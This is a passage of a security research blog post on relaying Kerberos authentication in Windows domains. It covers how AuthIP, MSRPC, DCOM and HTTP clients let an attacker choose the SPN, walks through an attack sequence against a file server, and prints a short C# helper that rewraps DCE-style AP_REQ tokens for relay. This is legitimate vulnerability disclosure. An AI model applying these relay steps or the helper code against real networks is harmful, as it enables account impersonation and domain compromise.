summary of some research I've been doing into relaying Kerberos authentication in Windows domain environments. To keep this blog shorter I am going to assume you have a working knowledge of Windows network authentication, and specifically Kerberos and NTLM. For a quick primer on Kerberos see [this page](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13>) which is part of Microsoft's Kerberos extension documentation or you can always read [RFC4120](<https://www.rfc-editor.org/rfc/rfc4120.txt>).\n\n## Background\n\nWindows based enterprise networks rely on network authentication protocols, such as [NT Lan Manager (NTLM)](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4>) and Kerberos to implement single sign on. These protocols allow domain users to seamlessly connect to corporate resources without having to repeatedly enter their passwords. This works by the computer's Local Security Authority (LSA) process storing the user's credentials when the user first authenticates. The LSA can then reuse those credentials for network authentication without requiring user interaction.\n\nHowever, the convenience of not prompting the user for their credentials when performing network authentication has a downside. To be most useful, common clients for network protocols such as HTTP or SMB must automatically perform the authentication without user interaction otherwise it defeats the purpose of avoiding asking the user for their credentials. \n\nThis automatic authentication can be a problem if an attacker can trick a user into connecting to a server they control. The attacker could induce the user's network client to start an authentication process and use that information to authenticate to an unrelated service allowing the attacker to access that service's resources as the user. When the authentication protocol is captured and forwarded to another system in this way it's referred to as an Authentication Relay attack.\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEjeIXhBwnBcGsUREqJ9YPAEyeTw99GDlcn_PmW7fyuxGGkop9HvtErkOKfvy6WXzeXZFfXdOR8C-StQgu3qPaE-t48EHnQ0xPbUgBDm3-jyO_dij-bFHf4Vw6v-ryL9D7FixnLa6I88bzvbkx-QNGx7Wxhc3GGWmJGa9Xbu1-HIZGM0SA1HQWcERC_y2w=s856>)\n\nAuthentication relay attacks using the NTLM protocol were [f](<https://web.archive.org/web/20030706050349/http://www.xfocus.net/articles/200305/smbrelay.html>)[irst published](<https://web.archive.org/web/20030706050349/http://www.xfocus.net/articles/200305/smbrelay.html>) all the way back in 2001 by Josh Buchbinder (Sir Dystic) of the Cult of the Dead Cow. However, even in 2021 NTLM relay attacks still represent a threat in default configurations of Windows domain networks. The most recent major abuse of NTLM relay was through the [Active Directory Certificate Services web enrollment service](<https://specterops.io/assets/resources/Certified_Pre-Owned.pdf>). This combined with the [PetitPotam](<https://github.com/topotam/PetitPotam>) technique to induce a Domain Controller to perform NTLM authentication allows for a Windows domain to be compromised by an unauthenticated attacker.\n\nOver the years Microsoft has made many efforts to mitigate authentication relay attacks. The best mitigations rely on the fact that the attacker does not have knowledge of the user's password or control over the authentication process. This includes signing and encryption (sealing) of network traffic using a session key which is protected by the user's password or channel binding as part of [Extended Protection for Authentication (EPA)](<https://msrc-blog.microsoft.com/2009/12/08/extended-protection-for-authentication/>) which prevents relay of authentication to a network protocol under TLS.\n\nAnother mitigation regularly proposed is to disable NTLM authentication either for particular services or network wide using [Group Policy](<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain>). While this has potential compatibility issues, restricting authentication to only Kerberos should be more secure. That got me thinking, is disabling NTLM sufficient to eliminate authentication relay attacks on Windows domains?\n\n## Why are there no Kerberos Relay Attacks?\n\nThe obvious question is, if NTLM is disabled could you relay Kerberos authentication instead? Searching for Kerberos Relay attacks doesn't yield much public research that I could find. There is the [krbrelayx](<https://github.com/dirkjanm/krbrelayx>) tool written by [Dirk-jan](<https://twitter.com/_dirkjan>) which is similar in concept to the [ntlmrelayx](<https://github.com/SecureAuthCorp/impacket/tree/master/impacket/examples/ntlmrelayx>) tool in [impacket](<https://github.com/SecureAuthCorp/impacket>), a common tool for performing NTLM authentication relay attacks. However as the accompanying [blog post](<https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/>) makes clear this is a tool to abuse [unconstrained delegation](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-unconstrained-kerberos>) rather than relay the authentication. \n\nI did find a [recent presentation](<https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Sagi%20Sheinfeld%20Eyal%20Karni%20Yaron%20Zinar%20-%20Using%20Machine-in-the-Middle%20to%20Attack%20Active%20Directory%20Authentication%20Schemes.pdf>) by Sagi Sheinfeld, [Eyal Karni](<https://twitter.com/eyal_karni>), [Yaron Zinar](<https://twitter.com/YaronZi>) from Crowdstrike at Defcon 29 (and also coming up at Blackhat EU 2021) which relayed Kerberos authentication. The presentation discussed MitM network traffic to specific servers, then relaying the Kerberos authentication. A MitM attack relies on being able to spoof an existing server through some mechanism, which is a well known risk. The last line in the presentation is \"Microsoft Recommendation: Avoid being MITM\u2019d\u2026\" which seems a reasonable approach to take if possible.\n\nHowever a MitM attack is slightly different to the common NTLM relay attack scenario where you can induce a domain joined system to authenticate to a server an attacker controls and then forward that authentication to an unrelated service. NTLM is easy to relay as it wasn't designed to distinguish authentication to a particular service from any other. The only unique aspect was the server (and later client) challenge but that value wasn't specific to the service and so authentication for say SMB could be forwarded to HTTP and the victim service couldn't tell the difference. Subsequently EPA has been retrofitted onto NTLM to make the authentication specific to a service, but due to backwards compatibility these mitigations aren't always used.\n\nOn the other hand Kerberos has always required the target of the authentication to be specified beforehand through a principal name, typically this is a [Service Principal Name (SPN)](<https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names>) although in certain circumstances it can be a User Principal Name (UPN). The SPN is usually represented as a string of the form CLASS/INSTANCE:PORT/NAME, where CLASS is the class of service, such as HTTP or CIFS, INSTANCE is typically the DNS name of the server hosting the service and PORT and NAME are optional.\n\nThe SPN is used by the Kerberos Ticket Granting Server (TGS) to select the shared encryption key for a Kerberos service ticket generated for the authentication. This ticket contains the details of the authenticating user based on the contents of the Ticket Granting Ticket (TGT) that was requested during the user's initial Kerberos authentication process. The client can then package the service's ticket into an Authentication Protocol Request (AP_REQ) authentication token to send to the server.\n\nWithout knowledge of the shared encryption key the Kerberos service ticket can't be decrypted by the service and the authentication fails. Therefore if Kerberos authentication is attempted to an SMB service with the SPN CIFS/fileserver.domain.com, then that ticket shouldn't be usable if the relay target is a HTTP service with the SPN HTTP/fileserver.domain.com, as the shared key should be different.\n\nIn practice that's rarely the case in Windows domain networks. The Domain Controller associates the SPN with a user account, most commonly the computer account of the domain joined server and the key is derived from the account's password. The CIFS/fileserver.domain.com and HTTP/fileserver.domain.com SPNs would likely be assigned to the FILESERVER$ computer account, therefore the shared encryption key will be the same for both SPNs and in theory the authentication could be relayed from one service to the other. The receiving service could query for the authenticated SPN string from the authentication APIs and then compare it to its expected value, but this check is typically optional.\n\nThe selection of the SPN to use for the Kerberos authentication is typically defined by the target server's host name. In a relay attack the attacker's server will not be the same as the target. For example, the SMB connection might be targeting the attacker's server, and will assign the SPN CIFS/evil.com. Assuming this SPN is even registered it would in all probability have a different shared encryption key to the CIFS/fileserver.domain.com SPN due to the different computer accounts. Therefore relaying the authentication to the target SMB service will fail as the ticket can't be decrypted.\n\nThe requirement that the SPN is associated with the target service's shared encryption key is why I assume few consider Kerberos relay attacks to be a major risk, if not impossible. There's an assumption that an attacker cannot induce a client into generating a service ticket for an SPN which differs from the host the client is connecting to.\n\nHowever, there's nothing inherently stopping Kerberos authentication being relayed if the attacker can control the SPN. The only way to stop relayed Kerberos authentication is for the service to protect itself through the use of signing/sealing or channel binding which rely on the shared knowledge between the client and server, but crucially not the attacker relaying the authentication. However, even now these service protections aren't the default even on critical protocols such as LDAP.\n\nAs the only limit on basic Kerberos relay (in the absence of service protections) is the selection of the SPN, this research focuses on how common protocols select the SPN and whether it can be influenced by the attacker to achieve Kerberos authentication relay.\n\n## Kerberos Relay Requirements\n\nIt's easy to demonstrate in a controlled environment that Kerberos relay is possible. We can write a simple client which uses the [Security Support Provider Interface (SSPI)](<https://en.wikipedia.org/wiki/Security_Support_Provider_Interface>) APIs to communicate with the LSA and implement the network authentication. This client calls the [InitializeSecurityContext](<https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontextw>) API which will generate an AP_REQ authentication token containing a Kerberos Service Ticket for an arbitrary SPN. This AP_REQ can be forwarded to an intermediate server and then relayed to the service the SPN represents. You'll find this will work, again to reiterate, assuming that no service protections are in place.\n\nHowever, there are some caveats in the way a client calls InitializeSecurityContext which will impact how useful the generated AP_REQ is even if the attacker can influence the SPN. If the client specifies any one of the following request flags, ISC_REQ_CONFIDENTIALITY, ISC_REQ_INTEGRITY, ISC_REQ_REPLAY_DETECT or ISC_REQ_SEQUENCE_DETECT then the generated AP_REQ will enable encryption and/or integrity checking. When the AP_REQ is received by the server using the [AcceptSecurityContext](<https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext>) API it will return a set of flags which indicate if the client enabled encryption or integrity checking. Some services use these [returned flags](<https://docs.microsoft.com/en-us/windows/win32/secauthn/context-requirements>) to opportunistically enable service protections. \n\nFor example LDAP's default setting is to enable signing/encryption if the client supports it. Therefore you shouldn't be able to relay Kerberos authentication to LDAP if the client enabled any of these protections. However, other services such as HTTP don't typically support signing and sealing and so will happily accept authentication tokens which specify the request flags.\n\nAnother caveat is the client could specify channel binding information, typically derived from the certificate used by the TLS channel used in the communication. The channel binding information can be controlled by the attacker, but not set to arbitrary values without a bug in the TLS implementation or the code which determines the channel binding information itself. \n\nWhile services have an option to only enable channel binding if it's supported by the client, all Windows Kerberos AP_REQ tokens indicate support through the [KERB_AP_OPTIONS_CBT](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b15648e2-439a-4d04-b8a2-2f34c45690f9>) options flag in the authenticator. Sagi Sheinfeld et al did demonstrate (see slide 22 in [their presentation](<https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Sagi%20Sheinfeld%20Eyal%20Karni%20Yaron%20Zinar%20-%20Using%20Machine-in-the-Middle%20to%20Attack%20Active%20Directory%20Authentication%20Schemes.pdf>)) that if you can get the AP_REQ from a non-Windows source it will not set the options flag and so no channel binding is enforced, but that was apparently not something Microsoft will fix. It is also possible that a Windows client disables channel binding through a [registry configuration option](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/authentication-fails-non-windows-ntlm-kerberos-server>), although that seems to be unlikely in real world networks.\n\nIf the client specifies the ISC_REQ_MUTUAL_AUTH request flag when generating the initial AP_REQ it will enable mutual authentication between the client and server. The client expects to receive an Authentication Protocol Response (AP_REP) token from the server after sending the AP_REQ to prove it has possession of the shared encryption key. If the server doesn't return a valid AP_REP the client can assume it's a spoofed server and refuse to continue the communication. \n\nFrom a relay perspective, mutual authentication doesn't really matter as the server is the target of the relay attack, not the client. The target server will assume the authentication has completed once it's accepted the AP_REQ, so that's all the attacker needs to forward. While the server will generate the AP_REP and return it to the attacker they can just drop it unless they need the relayed client to continue to participate in the communication for some reason.\n\nOne final consideration is that the SSPI APIs have two security packages which can be used to implement Kerberos authentication, Negotiate and Kerberos. The Negotiate protocol wraps the AP_REQ (and other authentication tokens) in the [SPNEGO protocol](<https://datatracker.ietf.org/doc/html/rfc4178>) whereas Kerberos sends the authentication tokens using a simple GSS-API wrapper (see [RFC4121](<https://datatracker.ietf.org/doc/html/rfc4121>)). \n\nThe first potential issue is Negotiate is by far the most likely package in use as it allows a network protocol the flexibility to use the most appropriate authentication protocol that the client and server both support. However, what happens if the client uses the raw Kerberos package but the server uses Negotiate? \n\nThis isn't a problem as the server implementation of Negotiate will pass the input token to the function NegpDetermineTokenPackage in lsasrv.dll during the first call to AcceptSecurityContext. This function detects if the client has passed a GSS-API Kerberos token (or NTLM) and enables a pass through mode where Negotiate gets out of the way. Therefore even if the client uses the Kerberos package you can still authenticate to the server and keep the client happy without having to extract the inner authentication token or wrap up response tokens.\n\nOne actual issue for relaying is the Negotiate protocol enables integrity protection (equivalent to passing ISC_REQ_INTEGRITY to the underlying package) so that it can generate a Message Integrity Code (MIC) for the authentication exchange to prevent tampering. Using the Kerberos package directly won't add integrity protection automatically. Therefore relaying Kerberos AP_REQs from Negotiate will likely hit issues related to automatic enabling of signing on the server. It is possible for a client to explicitly disable automatic integrity checking by passing the ISC_REQ_NO_INTEGRITY request attribute, but that's not a common case.\n\nIt's possible to disable Negotiate from the relay if the client passes an arbitrary authentication token to the first call of the InitializeSecurityContext API. On the first call the Negotiate implementation will call the NegpDetermineTokenPackage function to determine whether to enable authentication pass through. If the initial token is NTLM or looks like a Kerberos token then it'll pass through directly to the underlying security package and it won't set ISC_REQ_INTEGRITY, unless the client explicitly requested it. The byte sequence [0x00, 0x01, 0x40] is sufficient to get Negotiate to detect Kerberos, and the token is then discarded so it doesn't have to contain any further valid data.\n\n## Sniffing and Proxying Traffic\n\nBefore going into individual protocols that I've researched, it's worth discussing some more obvious ways of getting access to Kerberos authentication targeted at other services. First is sniffing network traffic sent from client to the server. For example, if the Kerberos AP_REQ is sent to a service over an unencrypted network protocol and the attacker can view that traffic the AP_REQ could be extracted and relayed. The selection of the SPN will be based on the expected traffic so the attacker doesn't need to do anything to influence it.\n\nThe Kerberos authentication protocol has protections against this attack vector. The Kerberos AP_REQ doesn't just contain the service ticket, it's also accompanied by an Authenticator which is encrypted using the ticket's session key. This key is accessible by both the legitimate client and the service. The authenticator contains a timestamp of when it was generated, and the service can check if this authenticator is within an allowable time range and whether it has seen the timestamp already. This allows the service to reject replayed authenticators by caching recently received values, and the allowable time window prevents the attacker waiting for any cache to expire before replaying.\n\nWhat this means is that while an attacker could sniff the Kerberos authentication on the wire and relay it, if the service has already received the authenticator it would be rejected as being a replay. The only way to exploit it would be to somehow prevent the legitimate authentication request from reaching the service, or race the request so that the attacker's packet is processed first.\n\nNote, [RFC4120](<https://datatracker.ietf.org/doc/html/rfc4120#section-3.2.3>) mentions the possibility of embedding the client's network address in the authenticator so that the service could reject authentication coming from the wrong host. This isn't used by the Windows Kerberos implementation as far as I can tell. No doubt it would cause too many false positives for the replay protection in anything but the simplest enterprise networks.\n\nTherefore the only reliable way to exploit this scenario would be to actively interpose on the network communications between the client and service. This is of course practical and has been demonstrated many times assuming the traffic isn't protected using something like TLS with server verification. Various attacks would be possible such as ARP or DNS spoofing attacks or HTTP proxy redirection to perform the interposition of the traffic.\n\nHowever, active MitM of protocols is a known risk and therefore an enterprise might have technical defenses in place to mitigate the issue. Of course, if such enterprises have enabled all the recommended relay protections,it's a moot point. Regardless, we'll assume that MitM is impractical for existing services due to protections in place and consider how individual protocols handle SPN selection.\n\n## IPSec and AuthIP\n\nMy research into Kerberos authentication relay came about in part because I was looking into the implementation of IPSec on Windows as part of my firewall research. Specifically I was researching the [AuthIP ISAKMP](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-aips/eee3de64-3847-4451-978e-9513ff187d30>) which allows for Windows authentication protocols to be used to establish IPsec Security Associations. \n\nI noticed that the AuthIP protocol has a [GSS-ID payload](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-aips/9ab1ccc0-d92e-4ca4-bae9-1c93871399ac>) which can be sent from the server to the client. This payload contains the textual SPN to use for the Kerberos authentication during the AuthIP process. This SPN is passed verbatim to the SSPI InitializeSecurityContext call by the AuthIP client.\n\nAs no verification is done on the format of the SPN in the GSS-ID payload, it allows the attacker to fully control the values including the service class and instance name. Therefore if an attacker can induce a domain joined machine to connect to an attacker controlled service and negotiate AuthIP then a Kerberos AP_REQ for an arbitrary SPN can be captured for relay use. As this AP_REQ is never sent to the target of the SPN it will not be detected as a replay.\n\nInducing authentication isn't necessarily difficult. Any IP traffic which is covered by the domain [configured security connection rules](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-rules-to-require-encryption>) will attempt to perform AuthIP. For example it's possible that a UDP response for a DNS request from the domain controller might be sufficient. AuthIP supports two authenticated users, the machine and the calling user. By default it seems the machine authenticates first, so if you convinced a Domain Controller to authenticate you'd get the DC computer account which could be fairly exploitable.\n\nFor interest's sake, the SPN is also used to determine the computer account associated with the server. This computer account is then used with [Service For User (S4U)](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94>) to generate a local access token allowing the client to determine the identity of the server. However I don't think this is that useful as the fake server can't complete the authentication and the connection will be discarded.\n\nThe security connection rules use IP address ranges to determine what hosts need IPsec authentication. If these address ranges are too broad it's also possible that ISAKMP AuthIP traffic might leak to external networks. For example if the rules don't limit the network ranges to the enterprise's addresses, then even a connection out to a public service could be accompanied by the ISAKMP AuthIP packet. This can be then exploited by an attacker who is not co-located on the enterprise network just by getting a client to connect to their server, such as through a web URL.\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEiDuaDAyi9I9zQlGa5gBZnE1I_KIMDq-jtVM1kni1B7whSMYuGvC2xaQA75T9cjmVkuBzkHxQxWbN3hiEWaEeJ-Ci1aGxReamFMy83glKslnxT_evjrIy7SZl-yMvg3OgdamPqIttMyXw7kzSKjnbyny3qcrUSQFANJCH55j_FaeOaFFnsROkTr8ABomw=s835>)\n\nTo summarize the attack process from the diagram:\n\n 1. Induce a client computer to send some network traffic to EVILHOST. It doesn't really matter what the traffic is, only that the IP address, type and port must match an IP security connection rule to use AuthIP. EVILHOST does not need to be domain joined to perform the attack.\n 2. The network traffic will get the Windows IPsec client to try and establish a security association with the target host.\n 3. A fake AuthIP server on the target host receives the request to establish a security association and returns a GSS-ID payload. This payload contains the target SPN, for example CIFS/FILESERVER.\n 4. The IPsec client uses the SPN to create an AP_REQ token and sends it to EVILHOST.\n 5. EVILHOST relays the Kerberos AP_REQ to the target service on FILESERVER.\n\nRelaying this AuthIP authentication isn't ideal from an attacker's perspective. As the authentication will be used to sign and seal the network traffic, the request context flags for the call to InitializeSecurityContext will require integrity and confidentiality protection. For network protocols such as LDAP which default to requiring signing and sealing if the client supports it, this would prevent the relay attack from working. However if the service ignores the protection and doesn't have any further checks in place this would be sufficient. \n\nThis issue was [reported to MSRC](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2213>) and assigned case number 66900. However Microsoft have indicated that it will not be fixed with a security bulletin. I've described Microsoft's rationale for not fixing this issue later in the blog post. If you want to reproduce this issue there's details on Project Zero's [issue tracker](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2213>).\n\n## MSRPC\n\nAfter discovering that AuthIP could allow for authentication relay the next protocol I looked at is [MSRPC](<https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page>). The protocol supports NTLM, Kerberos or Negotiate authentication protocols over connected network transports such as named pipes or TCP. These authentication protocols need to be opted into by the server using the [RpcServerRegisterAuthInfo](<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterauthinfo>) API by specifying the authentication service constants of RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_KERBEROS or RPC_C_AUTHN_GSS_NEGOTIATE respectively. When registering the authentication information the server can optionally specify the SPN that needs to be used by the client.\n\nHowever, this SPN isn't actually used by the RPC server itself. Instead it's registered with the runtime, and a client can query the server's SPN using the [RpcMgmtInqServerPrincName ](<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtinqserverprincname>)management API. Once the SPN is queried the client can configure its authentication for the connection using the [RpcBindingSetAuthInfo](<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcbindingsetauthinfo>) API. However, this isn't required; the client could just generate the SPN manually and set it. If the client doesn't call RpcBindingSetAuthInfo then it will not perform any authentication on the RPC connection.\n\nAside, curiously when a connection is made to the server it can query the client's authentication information using the [RpcBindingInqAuthClient](<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcbindinginqauthclient>) API. However, the SPN that this API returns is the one registered by RpcServerRegisterAuthInfo and NOT the one which was used by the client to authenticate. Also Microsoft does mention the call to RpcMgmtInqServerPrincName in the \"[Writing a secure RPC client or server](<https://docs.microsoft.com/en-us/windows/win32/rpc/choosing-security-qos-options>)\" section on MSDN. However they frame it in the context of mutual authentication and not to protect against a relay attack.\n\nIf a client queries for the SPN from a malicious RPC server it will authenticate using a Kerberos AP_REQ for an SPN fully under the attacker's control. Whether the AP_REQ has integrity or confidentiality enabled depends on the authentication level set during the call to RpcBindingSetAuthInfo. If this is set to RPC_C_AUTHN_LEVEL_CONNECT and the client uses RPC_C_AUTHN_GSS_KERBEROS then the AP_REQ won't have integrity enabled. However, if Negotiate is used or anything above RPC_C_AUTHN_LEVEL_CONNECT as a level is used then it will have the integrity/confidentiality flags set.\n\nDoing a quick scan in system32 the following DLLs call the RpcMgmtInqServerPrincName API: certcli.dll, dot3api.dll, dusmsvc.dll, FrameServerClient.dll, L2SecHC.dll, luiapi.dll, msdtcprx.dll, nlaapi.dll, ntfrsapi.dll, w32time.dll, WcnApi.dll, WcnEapAuthProxy.dll, WcnEapPeerProxy.dll, witnesswmiv2provider.dll, wlanapi.dll, wlanext.exe, WLanHC.dll, wlanmsm.dll, wlansvc.dll, wwansvc.dll, wwapi.dll. Some basic analysis shows that none of these clients check the value of the SPN and use it verbatim with RpcBindingSetAuthInfo. That said, they all seem to use RPC_C_AUTHN_GSS_NEGOTIATE and set the authentication level to RPC_C_AUTHN_LEVEL_PKT_PRIVACY which makes them less useful as an attack vector.\n\nIf the client specifies RPC_C_AUTHN_GSS_NEGOTIATE but does not specify an SPN then the runtime generates one automatically. This is based on the target hostname with the RestrictedKrbHost service class. The runtime doesn't process the hostname, it just concatenates strings and for some reason the runtime doesn't support generating the SPN for RPC_C_AUTHN_GSS_KERBEROS.\n\nOne additional quirk of the RPC runtime is that the request attribute flag ISC_REQ_USE_DCE_STYLE is used when calling InitializeSecurityContext. This enables a [special three-leg authentication mode](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/190ab8de-dc42-49cf-bf1b-ea5705b7a087>) which results in the server sending back an AP_RET and then receiving another AP_RET from the client. Until that third AP_RET has been provided to the server it won't consider the authentication complete so it's not sufficient to just forward the initial AP_REQ token and close the connection to the client. This just makes the relay code slightly more complex but not impossible.\n\nA second change that ISC_REQ_USE_DCE_STYLE introduces is that the Kerberos AP_REQ token does not have an GSS-API wrapper. This causes the call to NegpDetermineTokenPackage to fail to detect the package in use, making it impossible to directly forward the traffic to a server using the Negotiate package. However, this prefix is not protected against modification so the relay code can append the appropriate value before forwarding to the server. For example the following C# code can be used to convert a DCE style AP_REQ to a GSS-API format which Negotiate will accept.\n\npublic static byte[] EncodeLength(int length)\n\n{\n\nif (length < 0x80)\n\nreturn new byte[] { (byte)length };\n\nif (length < 0x100)\n\nreturn new byte[] { 0x81, (byte)length };\n\nif (length < 0x10000)\n\nreturn new byte[] { 0x82, (byte)(length >> 8), \n\n(byte)(length & 0xFF) };\n\nthrow new ArgumentException(\"Invalid length\", nameof(length));\n\n}\n\npublic static byte[] ConvertApReq(byte[] token)\n\n{\n\nif (token.Length == 0 || token[0] != 0x6E)\n\nreturn token;\n\nMemoryStream stm = new MemoryStream();\n\nBinaryWriter writer = new BinaryWriter(stm);\n\nConsole.WriteLine(\"Converting DCE AP_REQ to GSS-API format.\");\n\nbyte[] header = new byte[] { 0x06, 0x09, 0x2a, 0x86, 0x48, \n\n0x86, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x01, 0x00 };\n\nwriter.Write((byte)0x60);\n\nwriter.Write(EncodeLength(header.Length + token.Length));\n\nwriter.Write(header);\n\nwriter.Write(token);\n\nreturn stm.ToArray();\n\n} \n \n--- \n \nSubsequent tokens in the authentication process don't need to be wrapped; in fact, wrapping them with their GSS-API headers will cause the authentication to fail. Relaying MSRPC requests would probably be difficult just due to the relative lack of clients which request the server's SPN. Also when the SPN is requested it tends to be a conscious act of securing the client and so best practice tends to require the developer to set the maximum authentication level, making the Kerberos AP_REQ less useful.\n\n## DCOM\n\nThe DCOM protocol uses MSRPC under the hood to access remote COM objects, therefore it should have the same behavior as MSRPC. The big difference is DCOM is designed to automatically handle the authentication requirements of a remote COM object through binding information contained in the [DUALSTRINGARRAY](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/7fe8200b-dccd-48cf-a2fa-681e3e0a23f4>) returned during Object Exporter ID (OXID) resolving. Therefore the client doesn't need to explicitly call RpcBindingSetAuthInfo to configure the authentication.\n\nThe binding information contains the protocol sequence and endpoint to use (such as TCP on port 30000) as well as the security bindings. Each security binding contains the RPC authentication service (wAuthnSvc in the below screenshot) to use as well as an optional SPN (aPrincName) for the authentication. Therefore a malicious DCOM server can force the client to use the RPC_C_AUTHN_GSS_KERBEROS authentication service with a completely arbitrary SPN by returning an appropriate security binding.\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEiN78ReCzU5wVJ3qCozRJ2MSkKX4-Bm_S0zDSU2TNs6BrYoBffMIr7WZuL4AiNiO8rbVWrTkdGwjp6S2yyQptBIh82kWiKNOU-ziSntZpjGETP1TfIvXYzKFQyyW9C_qMEyoM3c1-7tdoqNLWxh2RYuq1pgbBFAtUCTjyQZzrU1h7mOxFnAl2l1PQBEuw=s1372>)\n\nThe authentication level chosen by the client depends on the value of the dwAuthnLevel parameter specified if the COM client calls the [CoInitializeSecurity](<https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity>) API. If the client doesn't explicitly call CoInitializeSecurity then a default will be used which is currently RPC_C_AUTHN_LEVEL_CONNECT. This means neither integrity or confidentiality will be enforced on the Kerberos AP_REQ by default.\n\nOne limitation is that without a call to CoInitializeSecurity, the default impersonation level for the client is set to RPC_C_IMP_LEVEL_IDENTIFY. This means the access token generated by the DCOM RPC authentication can only be used for identification and not for impersonation. For some services this isn't an issue, for example LDAP doesn't need an impersonation level token. However for others such as SMB this would prevent access to files. It's possible that you could find a COM client which sets both RPC_C_AUTHN_LEVEL_CONNECT and RPC_C_IMP_LEVEL_IMPERSONATE though there's no trivial process to assess that.\n\nGetting a client to connect to the server isn't trivial as DCOM isn't a widely used protocol on modern Windows networks due to high authentication requirements. However, one use case for this is local privilege escalation. For example you could get a privileged service to connect to the malicious COM server and relay the computer account Kerberos AP_REQ which is generated. I have a working PoC for this which allows a local non-admin user to connect to the domain's LDAP server using the local computer's credentials. \n\nThis attack is somewhat similar to the [RemotePotato](<https://github.com/antonioCoco/RemotePotato0>) attack (which uses NTLM rather than Kerberos) which again Microsoft have refused to fix. I'll describe this in more detail in a separate blog post after this one.\n\n## HTTP\n\nHTTP has supported NTLM and Negotiate authentication for a long time (see [this draft](<https://datatracker.ietf.org/doc/html/draft-brezak-spnego-http-04>) from 2002 although the most recent RFC is [4559](<https://datatracker.ietf.org/doc/html/rfc4559>) from 2006). To initiate a Windows authentication session the server can respond to a request with the status code 401 and specify a WWW-Authenticate header with the value Negotiate. If the client supports Windows authentication it can use InitializeSecurityContext to generate a token, convert the binary token into a Base64 string and send it in the next request to the server with the Authorization header. This process is repeated until the client errors or the authentication succeeds.\n\nIn theory only NTLM and Negotiate are defined but a HTTP implementation could use other Windows authentication packages such as Kerberos if it so chose to. Whether the HTTP client will automatically use the user's credentials is up to the user agent or the developer using it as a library.\n\nAll the major browsers support both authentication types as well as many non browser HTTP user agents such as those in .NET and WinHTTP. I looked at the following implementations, all running on Windows 10 21H1:\n\n * WinINET (Internet Explorer 11)\n * WinHTTP (WebClient)\n * Chromium M93 (Chrome and Edge)\n * Firefox 91\n * .NET Framework 4.8\n * .NET 5.0 and 6.0\n\nThis is of course not an exhaustive list, and there's likely to be many different HTTP clients in Windows which might have different behaviors. I've also not looked at how non-Windows clients work in this regard. \n\nThere's two important behaviors that I wanted to assess with HTTP. First is how the user agent determines when to perform automatic Windows authentication using the current user's credentials. In order to relay the authentication it can't ask the user for their credentials. And second we want to know how the SPN is selected by the user agent when calling InitializeSecurityContext.\n\n### WinINET (Internet Explorer 11)\n\n[WinINET](<https://docs.microsoft.com/en-us/windows/win32/wininet/portal>) can be used as a generic library to handle HTTP connections and authentication. There's likely many different users of WinINET but we'll just look at Internet Explorer 11 as that is what it's most known for. WinINET is also the originator of HTTP Negotiate authentication, so it's good to get a baseline of what WinINET does in case other libraries just copied its behavior.\n\nFirst, how does WinINET determine when it should handle Windows authentication automatically? By default this is based on whether the target host is considered to be in the Intranet Zone. This means any host which bypasses the configured HTTP proxy or uses an undotted name will be considered Intranet zone and WinINET will automatically authenticate using the current user's credentials.\n\nIt's possible to disable this behavior by changing the security options for the Intranet Zone to \"Prompt for user name and password\", as shown below:\n\n[](<https://blogger.googleusercontent.com/img/a/AVvXsEi0PEBYNeQYyCFc_m0LHSgoGRsniCGYJYWXZuD4Ix1SXwSklWAhLmMg5NknUrJ7q4jAjDVhx0raXfmQXk9a3TPvJqUKT0pdcyNnv2h9KzFrhdJzQGmoHRFCCUhRfp0RexYbR9hkmu3SnPy5sBKjgUMsv5gZFka1gAv7evU_d5E7iQOPegQCv4c8360SmQ=s699>)\n\nNext, how does WinINET determine the SPN to use for Negotiate authentication? RFC4559 says the following:\n\n'When the Kerberos Version 5 GSSAPI mechanism [RFC4121] is being used, the HTTP server will be using a principal name of the form of \"HTTP/hostname\"'\n\nYou might assume therefore that the HTTP URL that WinINET is connecting to would be sufficient to build the SPN: just use the hostname as provided and combine with the HTTP service class. However it turns out that's not entirely the case. I found a rough description of how IE and WinINET actually generate the SPN in [this blog](<https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/internet-explorer-behaviors-with-kerberos-authentication/ba-p/396428>). This blog post is over 10 years old so it was possible that things have changed, however it turns out to not be the case.\n\nThe basic approach is that WinINET doesn't necessarily trust the hostname specified in the HTTP URL. Instead it requests the canonical name of the server via DNS. It doesn't seem to explicitly request a CNAME record from the DNS server. Instead it calls 